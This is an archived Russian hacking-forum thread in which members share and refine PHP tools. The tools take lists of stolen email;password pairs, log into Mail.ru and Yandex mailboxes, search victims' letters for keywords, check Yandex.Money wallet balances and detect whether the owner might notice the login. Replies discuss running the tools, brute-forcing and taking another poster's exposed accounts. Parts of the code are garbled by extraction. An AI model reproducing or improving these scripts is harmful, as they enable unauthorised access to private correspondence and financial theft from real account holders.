Просмотр полной версии : Mail.ru letters finder[PHP]
Mail.ru/Yandex.ru letters finder
[PHP]
PHP:
Вот написал тут.
Суть такова(с):
Вы отдаете ей на съеденье список mail;pass и задаете с исок слов, которые надо и скать в письмах.
Ну и на выходе список сов падений.
По запросу{$ssearch}найдено{$lett ers}письмо(а/ем)
";
$pattern='|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i';
preg_match_all($pattern,$line,$matches);;
echo"";
for($i=0;$i";
echostrip_tags($matches[1][$i]);
echo"".strip_tags($matches[2][$i]);
echo"
";
}
echo"";
}
} else {
echo"По запросу{$ssearch}писем не н айдено";
}
fclose($sock);
}
set_time_limit(0);
$filep=fopen("users.txt","r");//";
while (!feof($filep)) {
$acc=fgets($filep);
$acc=str_replace("\r\n","",$acc);
$pair=explode(";",$acc);
echo"";
if(count($pair) >2) {
echo"Password contains ;
";
continue;
}
$acc=explode("@",$pair[0]);
$login=$acc[0];
$domain=$acc[1];
$password=$pair[1];
if($password!=="")
mailru_searcher($login,$domain,$password);
echo"";
}
fclose($filep);
echo"";
functionmailru_searcher($login,$domain,$password){
echo"$login@$domain;$password
";
$search_array= Array("и раз","и двас","и трис","и n-c");//";
foreach($search_arrayas$search_query){
mail_search($search_query,$matches[1]);
}
echo"";
}
?>
Особо не тестил , но вроде пашет. Скорочть не ахти, но всяко лучше чем руками. Буду рад принять советы по оптимизации.
ЗЫ
Надо дописать еще штуку, которая будет палить если у юзверя включено отображение последнего входа
ЗЫЫ
Извиняюсь, если где нибудь подобное уже выкладывалось. Не нашел.[/B]
Планируешь улучшать только в виде php, вариант с приложением рассматривается? Хотя такое приложение я уже где-то видел.
Хотелось бы на Спп. Но никакого опыть работы с сокетами, да и вообще с GUI нет( Если бы кто-нибудь подробно объяснил, что делать надо, то с удовольствием бы написал.
Вот прилепил еще чтоб, палил если у пользователя включено отображение последнего входа.
PHP:
По запросу{$ssearch}найдено{$lett ers}письмо(а/ем)
";
$pattern='|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i';
preg_match_all($pattern,$line,$matches);;
echo"";
for($i=0;$i";
echostrip_tags($matches[1][$i]);
echo"".strip_tags($matches[2][$i]);
echo"
";
}
echo"";
}
} else {
echo"По запросу{$ssearch}писем не н айдено";
}
fclose($sock);
}
set_time_limit(0);
$filep=fopen("users.txt","r");
if(!$filep)
die("File opennig error!
");
echo"";
while (!feof($filep)) {
$acc=fgets($filep);
$acc=str_replace("\r\n","",$acc);
$pair=explode(";",$acc);
echo"";
if(count($pair) >2) {
echo"Password contains ;
";
continue;
}
$acc=explode("@",$pair[0]);
$login=$acc[0];
$domain=$acc[1];
$password=$pair[1];
if($password!=="")
mailru_searcher($login,$domain,$password);
echo"";
}
fclose($filep);
echo"";
functionmailru_searcher($login,$domain,$password){
echo"$login@$domain;$password
";
$SEC_DETECT=true;// Ваш адрес сейчас:ПАЛЕВО АЦАНЫ!!!!111
";
}
echo"";
foreach($search_arrayas$search_query){
mail_search($search_query,$matches[1]);
}
echo"";
}
?>
Code:
Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/d/dpe2.h1.ru/WWW/Lettersfinder.php on line 77 Couldn't open socket!
Ошибка.
В чем проблема ?
Скорее всего что то с сервером, на котором запускается. Попробуй на своем. У меня брут тоже запахал только на своем сервере
dpe_x там веть по русски написано что не может открыть сокет.
У тебя их на таком домене нету.
Ищи другой домен или запускай со своего ПК.
А раз ты свои акки выложил на всеобщее обозрение то я их пожалуй возьму.Вот тут акки:
http://dpe2.h1.ru/Lettersfinder.php
Написал нечто подобное для Yandex + чекер бабоса:
http_chunked_decode.php
PHP:
ClassYandexFinder.php
PHP:
user_cookie=false;
$sock=fsockopen("passport.yandex.ru",80,$errno,$errstr);
if(!$sock) {
echo"Couldn't open socket!";
returnfalse;
}
echo"{$user};{$pass}
";
$query="login={$user}&passwd={$pass}";
$headers="POST /passport?mode=auth HTTP/1.1\r\n";
$headers.="User-Agent: Opera\r\n";
$headers.="Content-type: application/x-www-form-urlencoded\r\n";
$headers.="Host: passport.yandex.ru\r\n";
$headers.="Connection: Close\r\n";
$headers.="Content-Length: ".strlen($query)."\r\n\r\n";
fwrite($sock,$headers.$query);
$line="";
for($i=0;$iBad server response!
";
returnfalse;
}
if ($matches[1] !=302) {
echo"Incorrect user/password!
";
returnfalse;
}
$pattern="|Set-Cookie: (Session_id=[^;]+)|";
if(!preg_match($pattern,$line,$matches )) {
echo"Incorrect cookie!
";
returnfalse;
}
$this->user_cookie=$matches[1];
echo"Success!
";
returntrue;
fclose($sock);
}
public functionSearchLetters($ssearch){
if(!$this->user_cookie){
echo"Please login
";
returnfalse;
}
$sock=fsockopen("mail.yandex.ru",80,$errno,$errstr);
if(!$sock) {
echo"Couldn't open socket!";
returnfalse;
}
$search=urlencode($ssearch);
$headers="GET /neo/search?addr=from&request={$search}HTTP/1.1\r\n";
$headers.="User-Agent: Opera\r\n";
$headers.="Cookie:{$this->user_cookie}\r\n";
$headers.="Connection: Close\r\n";
$headers.="Host: mail.yandex.ru\r\n\r\n";
fwrite($sock,$headers);
$line="";
while(!feof($sock)){
$line.=fgets($sock,1024);
}
$line=substr($line,strpos($line,"\r\n\r\n") +4);
$line=http_chunked_decode($line);
$line=iconv("utf-8","windows-1251//IGNORE",$line);
$patternNF="|Нет писем, соответствующи х запросу|";
$patternF="|Вы также можете воспольз ваться|";
if (preg_match($patternNF,$line)){
echo"По запросу \"{$ssearch}\" писем не найдено
";
}
else if (preg_match($patternF,$line) ) {
echo"По запросу \"{$ssearch}\" чет нашлось:
";
$pattern='#]+>([^.+?b-grid__quote" title=[\'"](.+?)[\'"]>.+?b-grid__date" title=[\'"](.+?)[\'"]>#';
preg_match_all($pattern,$line,$matches);
echo"\n";
for($i=0;$i\n";
echo"{$matches[1][$i]} ";
echo"{$matches[2][$i]} ";
echo"{$matches[3][$i]} ";
echo"{$matches[4][$i]} ";
echo"\n";
}
echo"\n";
} else {
echo"Неведомая хуита
";
}
fclose($sock);
}
public functionCheckMoney(){
if(!$this->user_cookie){
echo"Please login
";
returnfalse;
}
$sock=fsockopen("money.yandex.ru",80,$errno,$errstr);
if(!$sock) {
echo"Couldn't open socket!";
returnfalse;
}
$headers="GET / HTTP/1.1\r\n";
$headers.="User-Agent: Opera\r\n";
$headers.="Host: money.yandex.ru\r\n";
$headers.="Connection: Close\r\n";
$headers.="Accept:text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$headers.="Cookie:{$this->user_cookie}\r\n\r\n";
fwrite($sock,$headers);
$line="";
while(!feof($sock)){
$line.=fgets($sock,1024);
}
$patternNYD="|удобный и безопасный спо об платить за телефон|";
$patternNM='||';
$patternM='|icons-sprite spr-wallet.+\n.+?([^Нет кошеля
";
}
else if (preg_match($patternNM,$line )){
echo"Кошель есть, но девственн к
";
}
else if (preg_match($patternM,$line, $matches)){
echo"Есть бабло:$matches[1]
";
}
else {
echo"Неведомая хуита
";
}
}
}
?>
YandexFinder.php
PHP:
";
$filep=fopen($filename,"r");
if(!$filep)
die("File opennig error!
");
while (!feof($filep)) {
$acc=trim(fgets($filep));
$acc=str_replace("\r\n","",$acc);
$pair=explode(";",$acc);
if(count($pair) >2) {
echo"Password contains ;
";
continue;
}
if(strlen($acc) >5){
$yandexer->login($pair[0],$pair[1]);
foreach ($searchas$find)// комментим эти две строки ,
$yandexer->SearchLetters($find);// если хотим только ЯД чек ать
$yandexer->CheckMoney();//смотрим баланс
echo"";
}
}
echo"";
?>
Правда не работает пока, если у юзера такая штука:
http://img841.imageshack.us/img841/7342/bugfa.th.jpg (http://img841.imageshack.us/img841/7342/bugfa.jpg)
нашел я что.. но вот незадача. 2013 на дворе. Кто пхп знать, мог бы под наше время код оптимизировать? сразу +10 в карму оптимизатору)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot